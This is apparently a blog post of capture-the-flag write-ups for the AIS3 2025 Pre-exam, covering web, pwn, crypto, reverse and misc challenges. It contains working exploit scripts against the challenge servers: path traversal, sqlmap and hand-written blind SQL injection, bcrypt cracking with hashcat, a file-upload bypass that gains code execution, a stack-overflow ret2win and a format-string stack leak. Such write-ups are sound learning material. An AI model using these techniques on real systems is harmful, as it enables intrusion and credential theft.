Unicorn's Blog

AIS3 2025 Pre-exam

24 May 2025

Introduction

alt text alt text alt text

Misc

Welcome

Author : Curious
Solves: 386
有三個人解了別的沒解 Welcome (?)

Problem

alt text

Solve

Ctrl + c & ctrl + v 會拿到 AIS3{This_Is_Just_A_Fake_Flag_~~}

打過最難的 Welcome

Flag: AIS3{Welcome_And_Enjoy_The_CTF_!}

Ramen CTF

Author: whale120
Solves: 329

Problem

alt text

alt text

Solve

掃描發票左邊 QRCode 得到

MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉

財政部 - 全民稽核專區輸入

  • 發票號碼: MF16879911 (上一步取得)
  • 發票日期: 2025/4/13 (發票上取得)
  • 4位隨機碼: 7095 (發票上取得)

成功查到店名與地址

平和溫泉拉麵店 262宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號

alt text

Google map 地址並找到菜單確認店名與品名

Flag: AIS3{樂山溫泉拉麵:蝦拉麵}

AIS3 Tiny Server - Web / Misc

Author: pwn2ooown
Solves: 147

Problem

alt text

Solve

  1. No security check

可以看到 server 會直接 open parse 完的路徑,再檢查 parse_request() 發現確實沒有任何檢查

444    http_request req;
445    parse_request(fd, &req);
446
447    struct stat sbuf;
448    int status = 200, ffd = open(req.filename, O_RDONLY, 0);

前往 http://chals1.ais3.org:port// access root 就有 flag

alt text

Flag: AIS3{tInY_weB_ServeR_WItH_fILe_BROWs1nG_@s_@_feature}

♖ PyWars ♖

Author: naup96321
Solved: 1
Only solve !!!

Problem

alt text

Solve

檔案上傳後主要做四件事

  1. 檢查附檔名是否為 .py
  2. 檢查是否包含 TomorinIsCuteAndILovePython
  3. 取代所有 ()}{|?!^ 成空白
  4. 在檔案前面加上 exit() 並用 python3 執行

從 open file mode 是 wb 還有 index.html 上傳檔案包含 pyc 猜到應該是要讓 python 跑別種檔案

認真讀 python document 會發現

Execute the Python code … referring to either a Python file, a directory containing a __main__.py file, or a zipfile containing a __main__.py file.

再搜尋發現可以用 zipapp module來產生 zip

經過實驗 .pyz 前面加 exit() 沒有影響,最麻煩的 4. 就繞掉了

剩下三點

檢查副擋名是用最後一個

def allowed_file(filename):
    _, ext = os.path.splitext(filename)
    return ext.lower() == '.py'

但存檔是用第一個

ext = file.filename.split('.', 1)[1].lower()
random_hash = generate_random_hash()
filename = os.path.join(app.config['UPLOAD_FOLDER'], f'main_{random_hash}.{ext}')

可以用 .pyz.py 繞過

2. 隨便塞註解就好
3. 用 decorator 執行 command script 抄網路上的

最後仔細看會發現 output 不可控但會 time out,可以用 time-based blind 來挖 flag

return f'Success Execute! But if you don\'t get flag...You Lose...'

        except subprocess.TimeoutExpired as e:
            return f'Timeout Error! You Lose ... '
        except Exception as e:
            return f"Something went wrong! You Lose"

    return 'Your file is not \'.py\'.'

solve script 我懶得寫二分搜 (naup96321 說其實可以 popen send flag 就好)

import os
import requests

def check(pos, c):
    s = \
    f"time.sleep(20) if open('/app/flags/' + os.listdir('/app/flags')[0]).read()[{pos}] == '{c}' else False"
    l = ""
    for c in s:
        l += str(ord(c)) + ', '
    return l

folder = "payload"

flag = ""
while True:
    for c in range(256):
        with open(f"{folder}/__main__.py", 'w') as f:
            f.write("import os\n")
            f.write("import time\n")
            f.write("# TomorinIsCuteAndILovePython\n")
            f.write("exit = lambda x : x\n")
            f.write(f"for x in [[{check(len(flag), chr(c))}]]:\n")
            f.write(f"\tfor y in [lambda z: x]:\n")
            f.write(f"\t\t@print\n")
            f.write(f"\t\t@eval\n")
            f.write(f"\t\t@bytes\n")
            f.write(f"\t\t@y\n")
            f.write(f"\t\tclass z:\n")
            f.write(f"\t\t\tpass\n")
        os.system(f"python -m zipapp {folder}")
        os.system(f"mv {folder}.pyz {folder}.pyz.py")

        try:
            r = requests.post(
                "http://chals1.ais3.org:10000/upload", 
                files = {'file': open(f"{folder}.pyz.py",'rb')},
                timeout = 2
            )
        except:
            flag += chr(c)
            print(flag)
            break
        
        if c == 255:
            exit()

Flag: AIS3{Success!!!!!_y0u_are_M6s73r_0f_python@z1p_1s_c00l…and_dec0rat0r_1s_c00l!}

Web

Tomorin db 🐧

Author : naup96321
Solved: 282

Solve

alt text

一個會把 /flag redirect 的 golang server

package main

import "net/http"

func main() {
    http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
    http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
        http.Redirect(
            w,
            r,
            "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6",
            http.StatusFound
        )
    })
    http.ListenAndServe(":30000", nil)
}

Solve

Google 後找到一樣的題目,直接抄 payload

curl --path-as-is -X CONNECT http:///../flag

Flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

Login Screen 1

Author: Ching367436
Solves: 217

Problem

alt text

Solve

index.php 明顯有 sql injection

// index.php
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");

init.php 有 database scheme

// init.php
$db->exec("CREATE TABLE IF NOT EXISTS Users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL,
    code TEXT NOT NULL
)");

直接用 sqlmap dump database

sqlmap -u "http://login-screen.ctftime.uk:36368/index.php" \
--forms -T Users -C username,password \
--dump

alt text

拿到 hash

$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC

用 hsahcat 爆密碼得到 admin

hashcat -m 3200 -a 0 hash rockyou.txt

login 後進到 2fa,這裡其實上一步 sqlmap 多一個 code 就可以,但我忘了,sqlmap 打太大力 IP 一直被 ban dump 不出來,只好自己寫 script。用 ' 關閉 username 再用 LIKE 比較code 的前幾碼,一碼一碼爆

import requests

code = ""

while True:
    for i in range(10):
        r = requests.post(
            "http://login-screen.ctftime.uk:36368/index.php",
            data = {
                'username': f"admin' AND code LIKE '{code}{i}%",
                'password': 'admin'
            }
        )
        if r.content != b"Invalid username or password.":
            code += str(i)
            print(code)
            break

        if i == 9:
            exit()

執行完得到 2fa code 是 51756447753485459839

登入後就有 flag 了

alt text

FLAG: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}

Crypto

Stream

Author : Whale120
Solved: 146

Problem

alt text

from random import getrandbits
import os
from hashlib import sha512
from flag import flag

def hexor(a: bytes, b: int):
    return hex(int.from_bytes(a)^b**2)

for i in range(80):
    print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))

print(hexor(flag, getrandbits(256)))

Solve

明顯是 random number predict,需要 624 個 32 bits number,題目有 80 個 256 bits number,\(80 \times 256 > 624 \times 32\),所以可以做

注意到 hexor() 會把隨機數平方再 XOR sha512(urandom),但因為 urandom 大小是 True (1),預先算出所有 byte 的 sha512 後,一個個把 output XOR 回去,取原本是完全平方數的數字就會是 randbits

import math
from hashlib import sha512
from randcrack import RandCrack
from Crypto.Util.number import long_to_bytes

hashes = [int.from_bytes(sha512(bytes([byte])).digest()) for byte in range(256)]
lines = open("output.txt", 'r').readlines()
outputs = [int(line, 16) for line in lines[:-1]]

rc = RandCrack()
for output in outputs:
    for hash in hashes:
        square = output ^ hash
        rand = math.isqrt(square)
        if square == math.isqrt(square) ** 2:
            if rc.state:
                assert rand == rc.predict_getrandbits(256)
            else:
                byte = []
                for _ in range(8):
                    rc.submit(rand & 0xffffffff)
                    rand >>= 32
            break

print(long_to_bytes(int(lines[-1], 16) ^ rc.predict_getrandbits(256)**2))

Flag: AIS3{no_more_junks…plz}

Random_RSA

Author : hahabox0
Solved: 83

Problem

alt text

# chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime

FLAG = b"AIS3{Fake_FLAG}"

a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)

rng = lambda x: (a*x + b) % m


def genPrime(x):
    x = rng(x)
    k=0
    while not(is_prime(x)):
        x = rng(x)
    return x

p = genPrime(seed)
q = genPrime(p)

n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)

# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)

with open("output.txt", "w") as f:
    f.write(f"h0 = {h0}\n")
    f.write(f"h1 = {h1}\n")
    f.write(f"h2 = {h2}\n")
    f.write(f"M = {m}\n")
    f.write(f"n = {n}\n")
    f.write(f"e = {e}\n")
    f.write(f"c = {c}\n")

Solve

\[\text{let the seed below "#hint" be } x \\ \begin{align*} h_0 &\equiv ax + b &\mod m \\ h_1 &\equiv ah_0 + b &\mod m \\ &\equiv a^2x + ab + b &\mod m \\ h_2 &\equiv ah_1 + b &\mod m \\ &\equiv a^3x + a^2b + ab + b &\mod m \\ h_1 - h_0 &\equiv a((a - 1)x + b) &\mod m \\ h_2 - h_1 &\equiv a^2((a - 1)x + b) &\mod m \\ a &\equiv (h_2 - h_1)(h_1 - h_0)^{-1} &\mod m \\ b &\equiv h_1 - ah_0 &\mod m \\ \end{align*}\\\]

解完 a, b 剩下的跟這篇一樣,script 照抄用 sage 就能算出 p, q

from Crypto.Util.number import long_to_bytes

h0, h1, h2, M, n, e, c =

h1_h0 = (h1 - h0 + M) % M
h2_h1 = (h2 - h1 + M) % M
a = (h2_h1 * pow(h1_h0, -1, M)) % M
b = (h1 - a * h0 + M) % M

def brute(interval):
    Z = Zmod(M)
    P = PolynomialRing(Z, "pp")
    pp = P.gen()
    qq = pp
    for _ in range(interval):
        qq = a * qq + b
    f = pp * qq - n
    return [ZZ(p) for p, e in f.roots()]

for i in range(1, 1000):
    print(i)
    r = brute(i)
    for p in r:
        if n % p == 0:
            q = p
            for _ in range(i):
                q = (a * q + b) % M
                if p * q == n:
                    print(i, p, q)
                    exit()

i, p, q = 
r = (p - 1) * (q - 1)
d = pow(e, -1, r)
print(long_to_bytes(pow(c, d, n)))

Flag: AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}

Hill

Author : hahabox0
Solved: 73

Problem

alt text

import numpy as np

p = 251
n = 8

def gen_matrix(n, p):
    while True:
        M = np.random.randint(0, p, size=(n, n))
        if np.linalg.matrix_rank(M % p) == n:
            return M % p

A = gen_matrix(n, p)
B = gen_matrix(n, p)

def str_to_blocks(s):
    data = list(s.encode())
    length = ((len(data) - 1) // n) + 1
    data += [0] * (n * length - len(data))  # padding
    blocks = np.array(data, dtype=int).reshape(length, n)
    return blocks

def encrypt_blocks(blocks):
    C = []
    for i in range(len(blocks)):
        if i == 0:
            c = (A @ blocks[i]) % p
        else:
            c = (A @ blocks[i] + B @ blocks[i-1]) % p
        C.append(c)
    return C

flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)

print("Encrypted flag:")
for c in ciphertext:
    print(c)

t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
    print(c)

Solve

\[A, B \text{ are random } n \times n \text{ matrix}\\ F \text{ is the } l \times n \text{ flag matrix}\\ E \text{ will then be a } l \times n \text{ matrix}\\ M \text{ is the } m \times n \text{ input matrix}\\ C \text{ will then be a } m \times n \text{ matrix}\\ \begin{align*} E_{1,}^T &\equiv AF_{1,}^T &\mod p \\ E_{i,}^T &\equiv AF_{i,}^T + BF_{i - 1,}^T &\mod p &\ \ \forall i \in \{2, 3, \dots, n\}\\ C_{1,}^T &\equiv AM_{1,}^T &\mod p \\ C_{i,}^T &\equiv AM_{i,}^T + BM_{i - 1,}^T &\mod p &\ \ \forall i \in \{2, 3, \dots, n\}\\ \end{align*}\\\]

首先,如果 \(M_{1,}\) 為 \([1, 0, 0, \dots]\),則 \(C_{1, } = A_{,1}^T\) 接著,如果 \(M_{2,}\) 為 \(\textbf{0}_{1, n}\),則 \(C_{1, } = B_{,1}^T\),引此只要輸入 \(\textbf{I}_{n, n}\) 與 \(\textbf{0}_{n, n}\) 每列 (row) 交錯而成的就能把 \(A, B\) 偷出來

\[\begin{bmatrix} 1 & 0 & 0 & \dots & 0 \\ 0 & 0 & 0 & \dots & 0 \\ 0 & 1 & 0 & \dots & 0 \\ 0 & 0 & 0 & \dots & 0 \\ \vdots & \vdots & \vdots & \ddots & \vdots \\ 0 & 0 & 0 & \dots & 1 \\ 0 & 0 & 0 & \dots & 0 \\ \end{bmatrix}\]

最後可以算出 \(F\)

\[\begin{align*} F_{1,}^T &\equiv A^{-1}E_{1,}^T &\mod p \\ F_{i,}^T &\equiv A^{-1}(E_{i,}^T - BF_{i - 1,}^T) &\mod p &\ \ \forall i \in \{2, 3, \dots, n\}\\ \end{align*}\\\]

import numpy as np
from pwn import *
from sympy import Matrix

p = 251
n = 8

io = remote("chals1.ais3.org", 18000)

def read_block():
    block = np.ndarray(n, dtype = int)
    line = io.recvline()
    i = 0
    for num in line.strip(b"[ ]\n").decode().split(' '):
        if num == "":
            continue
        block[i] = int(num)
        i += 1
    return block

io.recvuntil(b"Encrypted flag:\n")
encrypted_flag = [read_block() for _ in range(5)]

io.recvuntil(b"input: ")
input = b"".join([
    b"\x01\x00\x00\x00\x00\x00\x00\x00",
    b"\x00\x00\x00\x00\x00\x00\x00\x00",
    b"\x00\x01\x00\x00\x00\x00\x00\x00",
    b"\x00\x00\x00\x00\x00\x00\x00\x00",
    b"\x00\x00\x01\x00\x00\x00\x00\x00",
    b"\x00\x00\x00\x00\x00\x00\x00\x00",
    b"\x00\x00\x00\x01\x00\x00\x00\x00",
    b"\x00\x00\x00\x00\x00\x00\x00\x00",
    b"\x00\x00\x00\x00\x01\x00\x00\x00",
    b"\x00\x00\x00\x00\x00\x00\x00\x00",
    b"\x00\x00\x00\x00\x00\x01\x00\x00",
    b"\x00\x00\x00\x00\x00\x00\x00\x00",
    b"\x00\x00\x00\x00\x00\x00\x01\x00",
    b"\x00\x00\x00\x00\x00\x00\x00\x00",
    b"\x00\x00\x00\x00\x00\x00\x00\x01",
    b"\x00\x00\x00\x00\x00\x00\x00\x00",
])
io.sendline(input)
A = np.ndarray((n, n), dtype = int)
B = np.ndarray((n, n), dtype = int)
for i in range(n):
    A[:, i] = read_block()
    B[:, i] = read_block()

A_inv = Matrix(A).inv_mod(p)
B = Matrix(B)
encrypted_flag = [Matrix(enc) for enc in encrypted_flag]
matrices = [(A_inv * encrypted_flag[0]) % p]
for i in range(4):
    matrices.append((A_inv * (encrypted_flag[i + 1] - B * matrices[i])) % p)
flag = "".join([chr(num) for matrix in matrices for num in matrix])
print(flag)

io.interactive()

Flag: AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}

Pwn

Welcome to the World of Ave Mujica 🌙

Author: pwn2ooown
Solved: 121

Problem

alt text

Solve

執行後再加上 assembly 可以看到輸入完 yes 後可以輸入一個長度及該長度的字串

alt text

alt text

read_int8() 的數字必須比 128 小,所以猜 -1,成功 SIGSEGV 蓋rbp 就有 flag 了

alt text

注意到 0x401482 會把 read_int8 的結果只複製一 byte (al) 作為長度,所以輸入 -1 (0xffffffffffffffff) <= 127,複製後會是 0xff (255)

alt text

再看蓋到 reuturn address 的 padding 是 0xa8

alt text

另外可以找到給 shell 的 win function

alt text

from pwn import *

exe = ELF("./chal")
# p = process("./chal")
p = remote("chals1.ais3.org", 60651)

p.sendlineafter(b"?", b"yes")
p.sendlineafter(b":", b"-1")
p.sendlineafter(
    b":",
    b"A" * 168 + p64(exe.symbols['Welcome_to_the_world_of_Ave_Mujica'])
)

p.interactive()

成功取得 flag alt text

FLAG: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)…Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)…_ecdd2f5868ac72a6d28cdf469bdcb996}

Format Number

Author : Curious
Solved: 54

Problem

alt text

Solve

題目做依序做 3 件事

  1. 把 flag 讀到 stack 上
  2. 檢查輸入只包含符號數字
  3. printf("Format number : %3$<input>d\n", str, str, number)

printfman page 看到可以用 % 關閉第一個 conversion,接著自己加入 $<i>% 來 leak stack 上第 i 個 value,就可以在 stack 上找到 flag,這裡每個字元都是用 32 bit int 存

from pwn import *

flag = ""
for i in range(20, 59):
    # p = process("./share/chal")
    p = remote("chals1.ais3.org", 50960)
    p.sendlineafter(b"What format do you want ? ", f"%%{i}$".encode())
    line = p.recvline()
    if b'-' in line:
        continue
    flag += chr(int(line.decode().strip().split('%')[1]).to_bytes(4, 'little')[0])
    p.close()
print(flag)

AIS3{S1d3ch@nn3l_0n_fOrM47_strln&!!!}

Reverse

AIS3 Tiny Server - Rev

Author: pwn2ooown
Solved: 164

Problem

alt text

Solve

尋找後會發現一個 check_flag() function,是簡單的 XOR loop

alt text

把 function 中的 encypted data 跟 key 做 XOR 來得到 flag

enc = \
"3 8X\x12(\\G)R-\x0fZ\n\x0e\x00\x0fX\x13P\x19Z\x194X13C\x13A\x04Z\x194X,3SF\x03\x1eHJJ\x14\x00"
key = "rikki_l0v3"

flag = ""
for i, c in enumerate(enc):
    flag += chr(ord(c) ^ ord(key[i % len(key)]))
print(flag)

AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

babyUnicorn

Author: ShallowFeather
Solved: 5

Problem

alt text

名字都被寫到題目上了能不解嗎

Solve

chal.py

  • main()

讀入 input 寫到 stack 上 FLAG_ADDR 然後用 x86 32 bit 模擬 code 這段 shell code

  • 一些 constant
ADDRESS_CODE = 0x1000000
ADDRESS_STACK = 0x2000000
STACK_SIZE = 0x4000  # 16KB for stack
CODE_SIZE = 0x10000   # 4KB for code
FLAG_ADDR = ADDRESS_STACK + STACK_SIZE - 0x100 + 0x20
FLAG_LEN = 47
  • hook_code
    • hook all code
    • if instruction is \xcd\x06 (int 0x6), set eip = ADDRESS_CODE, esi = 0x6
  • hook_code1
    • hook at 0x10010d0
    • set eip = ADDRESS_CODE, esi = 0x6
  • hook_code2
    • hook at 0x10003fc
    • 檢查 FLAG_ADDR 上的東西是否為 GOAL 並輸出 flag is correct/wrong
  • hook_code3
    • eip += 2
    • 沒有 hook 在任何地方,後續解題也用不到,猜不是提示,是淺羽忘了刪
  • hook_exception
    • hook all interupt
    • 第二次 exception_type 是 0x2d,會 exit()
    • 否則 set eip = ADDRESS_CODE, esi = exception_type
  • hook_insn
    • hook at CPUID instruction
    • set eip = ADDRESS_CODE, esi = 0x6

code

用 binary ninja load x86 raw binary 可以發現 ADDRESS_CODE 是一個 function (後稱 func) 並且依照 arg2 (esi) 執行不同 case

01000000    int32_t sub_1000000(void* arg1 @ ebp, int32_t arg2 @ esi)

更仔細觀察發現所有的 case 都是一樣的結構

for (int i = <st>; i != <ed>; i += 1)
    // flag[<offset> - 0x20 + i] ^= flag[i % 0x2f]
    *(ebp + <offset> + i) ^= *(ebp + 0x20 + i % 0x2f);
trap(<exception_type>); // int <exception_type> 

dynamic analysis

加入一些 verbode 後執行可以看到大部分都是 got exception

alt text

從 hook code, code 還有執行結果可以推出執行順序 (以下的 func(num) 代表設 esi = num,然後執行 ADDRESS_CODE,並不是 call,call functiom 會改到 stack,但 hook 直接改 rip 不會動到 stack,本質上比較像 jmp)

  1. main() 執行 func(0x2)
  2. func(0x2) trap(0x61)
  3. hook_exception 攔到 int 0x61
  4. hook_exception 執行 func(0x61)
  5. func(0x61) trap(0x10)
  6. hook_exception 攔到 int 0x10
  7. hook_exception 執行 func(0x10)

繼續往下看會看到 func(0x54) 裡執行了 cpuid,接著會被 hook_insnhook_code1 攔到並執行 func(0x6),可以看 case 6 裡確實有 trap(0x2d) 來驗證

alt text

再來又是一大串跟前面相同的 got exception 直到 0x14func(0x14) 會先 trap(0x6) 跑完然後觸發第二次 int 0x2dexit(),最後進 hook_code2 的 flag check

alt text

script

已知 target 以及所有 xor loop 的順序,只需要倒著做回去就能得到 flag,每個 xor loop 可以用以下還原

def xor(off_rsp, start, end):
    for i in range(start, end)[::-1]:
        off_flag = off_rsp - 0x20
        if off_flag + i < 0 or off_flag + i >= FLAG_LEN:
            continue
        flag[off_flag + i] ^= flag[i % 0x2f]

用工人智慧把每個 xor loop 的參數找出來就有 flag 了,大部分都 trivial,for loop 有 st, ed,assembly 有 offset;除了 case 0x11 跟 0x18 找不到 st,從 assembly 看到是拿 esii 算,也就是 st = 0x11 or 0x18

// trivial
00000650  8d742403  lea     esi, [rsp+0x3 {__return_addr+0x3}]
00000668  30040e    xor     byte [rsi+rcx], al
// case 0x11, 0x18
01000d40  300431  xor     byte [ecx+esi], al {arg_f} {arg_f}

from pwn import *

FLAG_LEN = 47
flag =  [
    0x5a, 0x60, 0x61, 0xf, 0x8, 0x29, 0x42, 0x32,
    0x25, 0x23, 0x42, 0x68, 0x4b, 0x41, 0x63, 0x55,
    0x37, 0x43, 0x6a, 0x50, 0x40, 0x6f, 0x2e, 0x66,
    0x49, 0x7f, 0x9, 0x66, 0x79, 0x7c, 0x37, 0x18,
    0x5d, 0x35, 0x46, 0x41, 0x37, 0xf, 0x19, 0x1c,
    0x30, 0x79, 0x29, 0x69, 0xa, 0x46, 0x3b
]

def xor(off_rsp, start, end):
    for i in range(start, end)[::-1]:
        off_flag = off_rsp - 0x20
        if off_flag + i < 0 or off_flag + i >= FLAG_LEN:
            continue
        flag[off_flag + i] ^= flag[i % 0x2f]

# 0x6
xor(0x3, 0x1d, 0x3b)
# 0x14
xor(-0x9, 0x29, 0x53)
# 0x1e
xor(0x13, 0xd, 0x1b)
# 0x3c
xor(0x8, 0x18, 0x31)
# 0x9
xor(-0xe, 0x2e, 0x5d)
# 0x2c
xor(0xd, 0x13, 0x27)
# 0x53
xor(-0xa, 0x2a, 0x55)
# 0x41
xor(-0x1, 0x21, 0x43)
# 0x25
xor(0x6, 0x1a, 0x35)
# 0x5f
xor(-0x7, 0x27, 0x4f)
# 0x22
xor(0x17, 0x9, 0x13)
# 0x4e
xor(-0x6, 0x26, 0x4d)
# 0x19
xor(0x13, 0xd, 0x1b)
# 0x2a
xor(0xc, 0x14, 0x29)
# 0x45
xor(0x1e, 0x2, 0x5)
# 0x3e
xor(-0x2, 0x22, 0x45)
# 0x7
xor(0x11, 0xf, 0x1f)
# 0x11
xor(0xf, 0x11, 0x23)
# 0x60
xor(0x1e, 0x2, 0x5)
# 0x46
xor(-0xc, 0x2c, 0x59)
# 0x35
xor(-0x4, 0x24, 0x49)
# 0x26
xor(0x17, 0x9, 0x13)
# 0x4
xor(0x16, 0xa, 0x15)
# 0x3a
xor(0x1e, 0x2, 0x5)
# 0x5a
xor(0x1c, 0x4, 0x9)
# 0x64
xor(0xa, 0x16, 0x2d)
# 0x4d
xor(0x3, 0x1d, 0x3b)
# 0x51
xor(0xb, 0x15, 0x2b)
# 0x24
xor(-0x6, 0x26, 0x4d)
# 0x32
xor(0xd, 0x13, 0x27)
# 0x4b
xor(0x1a, 0x6, 0xd)
# 0xb
xor(0x18, 0x8, 0x11)
# 0x4a
xor(0x5, 0x1b, 0x37)
# 0x33
xor(0x8, 0x18, 0x31)
# 0x30
xor(-0xb, 0x2b, 0x57)
# 0x28
xor(0xa, 0x16, 0x2d)
# 0x43
xor(-0x3, 0x23, 0x47)
# 0x49
xor(-0x4, 0x24, 0x49)
# 0x34
xor(-0xd, 0x2d, 0x5b)
# 0x23
xor(0x14, 0xc, 0x19)
# 0xd
xor(0xd, 0x13, 0x27)
# 0x4c
xor(0x0, 0x20, 0x41)
# 0x16
xor(-0xb, 0x2b, 0x57)
# 0x3f
xor(0xa, 0x16, 0x2d)
# 0x52
xor(0xb, 0x15, 0x2b)
# 0x1
xor(0x1c, 0x4, 0x9)
# 0x17
xor(0xf, 0x11, 0x23)
# 0x47
xor(-0x8, 0x28, 0x51)
# 0x21
xor(0xf, 0x11, 0x23)
# 0x5e
xor(0x9, 0x17, 0x2f)
# 0x1d
xor(0x1e, 0x2, 0x5)
# 0x2e
xor(0x7, 0x19, 0x33)
# 0x44
xor(0x12, 0xe, 0x1d)
# 0x50
xor(0xe, 0x12, 0x25)
# 0x2b
xor(0x13, 0xd, 0x1b)
# 0x20
xor(0x15, 0xb, 0x17)
# 0x5c
xor(-0x9, 0x29, 0x53)
# 0x2f
xor(0x18, 0x8, 0x11)
# 0x1b
xor(0x18, 0x8, 0x11)
# 0x1c
xor(0x8, 0x18, 0x31)
# 0xa
xor(0x1d, 0x3, 0x7)
# 0x48
xor(0x12, 0xe, 0x1d)
# 0x55
xor(0x3, 0x1d, 0x3b)
# 0x3b
xor(0x3, 0x1d, 0x3b)
# 0x58
xor(0x8, 0x18, 0x31)
# 0x18
xor(0x8, 0x18, 0x31)
# 0x27
xor(0x6, 0x1a, 0x35)
# 0x3
xor(0x1a, 0x6, 0xd)
# 0xf
xor(0x15, 0xb, 0x17)
# 0x39
xor(0xc, 0x14, 0x29)
# 0xe
xor(-0xa, 0x2a, 0x55)
# 0x40
xor(0x12, 0xe, 0x1d)
# 0x12
xor(0xb, 0x15, 0x2b)
# 0x36
xor(0x1, 0x1f, 0x3f)
# 0x2d
xor(0x8, 0x18, 0x31)
# 0x6
xor(0x3, 0x1d, 0x3b)
# 0x54
xor(0x15, 0xb, 0x17)
# 0x56
xor(-0x4, 0x24, 0x49)
# 0x13
xor(0x13, 0xd, 0x1b)
# 0x31
xor(0xe, 0x12, 0x25)
# 0x1f
xor(0x3, 0x1d, 0x3b)
# 0x37
xor(-0x4, 0x24, 0x49)
# 0x10
xor(0x8, 0x18, 0x31)
# 0x61
xor(0x0, 0x20, 0x41)
# 0x02
xor(-0x8, 0x28, 0x51)

p = process(["python", "chal.py"])

print(bytes(flag))
p.sendlineafter(b"Enter the flag:", bytes(flag))
p.recvline()

p.interactive()

Flag: AIS3{UniCorn_2.1.3_fk_s1ow_BUT_this_chal_cool?}